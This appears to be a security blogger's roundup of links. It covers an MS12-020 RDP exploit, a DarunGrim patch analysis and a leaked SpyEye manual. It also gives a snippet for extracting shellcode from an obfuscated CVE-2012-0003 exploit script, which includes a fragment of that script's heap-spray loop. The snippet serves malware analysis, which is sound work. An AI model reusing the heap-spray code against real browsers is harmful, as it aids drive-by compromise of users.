RDP exploit related ……. MS12-020

1-day vulnerability analysis using DarunGrim

ocean’s InsecLab

Pastie

Rar File 

SPYEYE Manual ….F-Secure … and ….”VISCOLUL” at 10:31 !!

Recently F-Secure posted about Spyeye manual . It seems back in 2011, some one helped other guy to configure Spyeye and linked to this manual. IRC logs are here. …………………………………………………………………………………………………………… b3cfzzw5l

Shellcode of Exploit CVE-2012-0003 (MIDI file ….) from Dadong JSXX 0.41 VIP obfuscated script…

Insert following code  at “INSERT” location in original malicious script . remove MIDI exploitation code before execution

 

var fpo = new ActiveXObject(“Scripting.FileSystemObject”);
var sc = fpo.OpenTextFile(“c:\\Shellcode.bin”,true);
sc.WriteLine(escape(kpemoez4));
sc.Close();

 

————————————————————————————
———————————————————————————–

try{alert(a,b,c);}
catch(e)
{
var HrMm7=”d”;
while(FJWVzIe1.length < aqfvjY5/2) FJWVzIe1 +=FJWVzIe1;
var DmxL8 = FJWVzIe1.substring(0, aqfvjY5/2);
HrMm7=”d”;
delete FJWVzIe1;

“INSERT”

for(i=0;i<270;i++)
{
NyWLa1[i] = DmxL8+DmxL8+kpemoez4;
}

}

——————————————————————————————-
——————————————————————————————

LOD 0×05

This website , will give you all information about hacked/defaced site . Recently it exposed   e2 Lab scam (Earlier associated with Ankit Fadia .. LOL and   Double LOL